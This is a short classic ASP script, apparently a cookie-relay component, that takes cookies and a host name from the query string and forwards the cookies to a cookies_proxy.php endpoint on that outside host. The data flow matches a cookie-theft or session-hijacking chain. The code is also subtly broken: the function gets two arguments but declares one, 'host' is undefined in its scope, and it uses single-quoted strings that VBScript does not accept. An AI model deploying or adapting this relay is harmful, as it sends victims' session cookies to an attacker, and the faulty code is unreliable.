GetCookies.asp

<%
Function request(URL)
    Dim xhr
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", URL, False
    xhr.send

    If xhr.ReadyState <> 4 Then
        Exit Function
    End If

    request = 0
End Function

Function SendCookies(cookies)
    request "http://" + host + "/cookies_proxy.php?cookies=" + cookies
End Function

SendCookies Request.QueryString('cookies'), Request.QueryString('host')
%>